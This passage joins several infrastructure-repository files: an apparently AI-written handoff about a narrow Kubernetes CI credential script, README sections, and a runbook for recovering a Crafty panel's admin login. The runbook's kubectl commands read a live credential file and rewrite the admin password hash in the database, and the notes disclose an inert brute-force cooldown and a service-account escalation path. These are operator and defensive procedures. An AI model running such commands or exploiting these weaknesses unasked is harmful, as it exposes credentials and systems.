purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
operator action — `build-image.sh` prints the exact commands.
- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
change what the branch claims to have proven, so no build was run; the image measurements
above are the ones taken when the code was written, against this same code.
- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
The cosign path is named as a TODO, not implemented.
- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
The initContainer injection hole is open until that separate PR lands.
- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
at L2/L3.
- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
earlier, against the pre-rework head.
- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
quoted above is from run 128 on the old head.

branch: feat/conformance-trigger-kubeconfig
title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
---
## What changed
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
changing Gitea variables are operator actions; nothing was minted, no Gitea object was
written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
not about the platform.
*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
**only that token** with the cluster CA and server into a kubeconfig, stores it as the
Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
under `set -x`.
*The design decision worth reviewing: TWO precondition classes.*
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
exists to close.
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
variable, because storing the secret early is harmless and is the plan's own order.
**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
names the trigger kubeconfig only in its TODO comment). So on a live run today the script
would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
work that unblocks it.
*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
the object back. For the secret that is presence-by-name only (Gitea never returns secret
values) and the script says so rather than implying the content was checked; for the variable
it asserts the value reads back as exactly `true`.
*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
local-run environment variable, never as CI wiring, because the secret that would feed it
cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
secret `GITEA_SETTINGS_TOKEN`, which is impossible.
*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
commits; the commit that contained only the log append was dropped and its substance folded
in below.
## What I verified
*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
property of the code as read, not of an execution.
*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
security-relevant. Measured on the PR head commit's `/statuses`:
gate / gate (pull_request) success Successful in 1m34s
gate / conformance (pull_request) pending Blocked by required conditions
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
believed to exist because a brief said so. If the policy is intended, it is missing and needs
its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
green; the gate decision names exactly one stage that did not run — `gitea-settings`
(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
## What I did NOT verify
**The script has never executed.** Not one line of it has run against Gitea or against the
cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
shellcheck stage in the gate.
- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
is from **documentation, not measurement**. The script tries POST then falls back to PUT,
prints the response body on failure, and treats the read-back as the authority.
- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
and treats "neither present" as a block rather than assuming ready — but which form this
cluster actually reports is **unmeasured**.
- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
known from here** — hence `--server`, and a hard refusal on a loopback address.
- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
is read from the RBAC and the script, not observed.
- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
here is evidence about runtime behaviour.

branch: fix/crafty-oauth2-proxy-signin
title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
---
## What changed
Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
own access log settles which layer refused, and it is not the one the report names:
GET / -> 302 to Keycloak
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy did its job
GET /oauth2/callback -> 302
GET /panel/dashboard -> 302
GET /login?next=/panel/dashboard -> 200 <- CRAFTY's own login page
POST /api/v2/auth/login/ -> 401 <- CRAFTY refused
**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
identity headers, so it presents its own local login to an already-authenticated user. That second
factor is intended. What was not intended — and what made the service genuinely impossible to set
up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
asserted the double login was "expected, not a bug" and then left the reader with no way forward —
the assertion was true and useless in the same sentence.
So this branch:
- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
actually resolves rather than the file merely existing.
- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
straight back, clobbering it again. **That mutual eviction presents exactly as the reported
symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
## What I verified
- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
oauth2-proxy admitted the user; Crafty rejected the local credential.
- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
`users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
created the "homelab" server. `default-creds.txt` is therefore live.
- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
`"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
`self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
`get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
(**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
the opposite into the README from the config value alone before measuring it — the config key
existing is not the same claim as the code path running.
- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
runs `main.py -d -i`. Recovery must go through the DB.
- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
cannot import it, so the obvious reset one-liner fails.
- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
`default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
`spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
## What I did NOT verify
- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
renders correctly, but nobody has signed in through it. The human test is in
`platform/crafty/README.md`.
- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
session's read-only probes). **Merging is what deploys, and it will restart the pod** —
`strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
the moment.
- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
`gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
credential. The runbook says to rotate on first sign-in; that is an operator action and is still
open.
- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
change with no observed failure to point at — the sidecar trace above shows a *working* session,
because that browser had not visited another gated app first. It is a latent-bug fix.
### Follow-ups
1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
sat unchanged and undocumented.
2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
two halves differently); the alternative is to accept the `platform-admins` gate as the only
throttle and say so.
3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
which is exactly the shape this repo keeps getting burned by.

## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
`set -x`.
**Its preconditions are split in two, and the split is the point.**
| Class | Checks | Blocks |
|---|---|---|
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
running this today provisions the secret and then **refuses to arm the variable**, naming the
missing item.
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
nothing happens.
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
read the object back. For the secret that proves presence by name only (Gitea never returns
secret values); for the variable it proves the value is exactly `true`, which is what
`gate.yml` compares against.
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
pod** — the VIP — which is not necessarily the address your workstation uses. The script
refuses a loopback server outright.

# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the

#
# What it does, in order:
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
# `conformance` (kubectl create token -> TokenRequest API)
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
# VERIFIES the store by reading the secret list back
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
#
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
#
# ----------------------------------------------------------------------------------------
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
# ----------------------------------------------------------------------------------------
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
#
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
# the object back afterwards. A store is not claimed unless the read-back shows it.
#
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
# every PR. This script refuses to do it.
#
# ----------------------------------------------------------------------------------------
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
# ----------------------------------------------------------------------------------------
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
# privileged identity. So those checks block the MINT itself — nothing is created if they
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
#
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
# conformance job is gated on the variable and never starts — and the plan explicitly lands
# the secret before the switch. So these checks block ONLY the variable.
#
# Net effect: you can safely run this script today to provision the secret. It will then
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.

@@ -49,49 +49,9 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
`crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
#### Cookie isolation (why the session used to vanish)
This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
authenticated last clobbered the other's session, and the loser logged
`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
exactly as *"I signed in to Keycloak but I'm still not signed in."*
Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
#### Crafty's own local login — this is where setup actually blocks
Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
username/password page. That second factor is intended. What was **not** intended — and what made the
service impossible to set up — is that **nothing documented where that password comes from**.
Crafty generates it **once, on first boot only**, when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
what a browser sees with no hint as to why.
**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
Two traps that runbook covers:
- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
`getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
*records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
the only thing actually limiting who can reach the login form is the oauth2-proxy
`platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the

# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
**Not alert-driven.** This is an operator procedure, linked from
[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
first time, rotating that credential, and recovering when it is lost.
> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
> transcript.)
## What this means here
`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
Keycloak's:
1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
sidecar's identity headers, so it shows its own login page to an already-authenticated user.
So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
the real question is only ever *which* of the two rejected you. They fail differently:
| Where you are | What you see | Which layer |
|---|---|---|
| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
The third row is the one that blocks setup, because **nothing in the UI tells you where that password
comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
random password, and the old one is gone with the old volume.
Two things that are *not* the problem, both verified live:
- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
you have — the `platform-admins` gate is what limits who reaches the form at all.)
- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
## First commands
`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
`dev.sh` picks a current-context **per invocation**, so always name the context.
**1. Is the pod healthy, and is the password still the generated one?**
```bash
./infra/devcontainer/dev.sh run bash -c '
kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
print(\"created :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
"'
```
Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
*Reset*.
**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
```
The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
and check `last_update` has moved away from `created`.
## Likely causes, most likely first
1. **You never had the password.** By far the most common, and the reason this runbook exists. The
credential was only ever on the PVC. → commands 1–3 above.
2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
`default-creds.txt` from the new pod; do not expect the old credential to work.
4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
before touching any password:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
```
`[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
means the session cookie is not surviving — see *cookie isolation* in
`platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
proxy's, or the two evict each other.
5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
## Reset when the password is unknown
Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
password is generated in-pod rather than passed in.)
Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
action**, not an agent action.
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
import os, secrets, sqlite3, string, datetime
from argon2 import PasswordHasher
pw = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
now = datetime.datetime.now()
c = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
cur = c.execute(
\"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
(PasswordHasher().hash(pw), str(now),
str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
)
c.commit()
print(\"rows updated:\", cur.rowcount)
out = \"/crafty/app/config/reset-creds.txt\"
open(out, \"w\").write(pw + chr(10))
os.chmod(out, 0o600)
print(\"new password written to\", out)
"'
```
Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
# after signing in and rotating:
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
```
`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
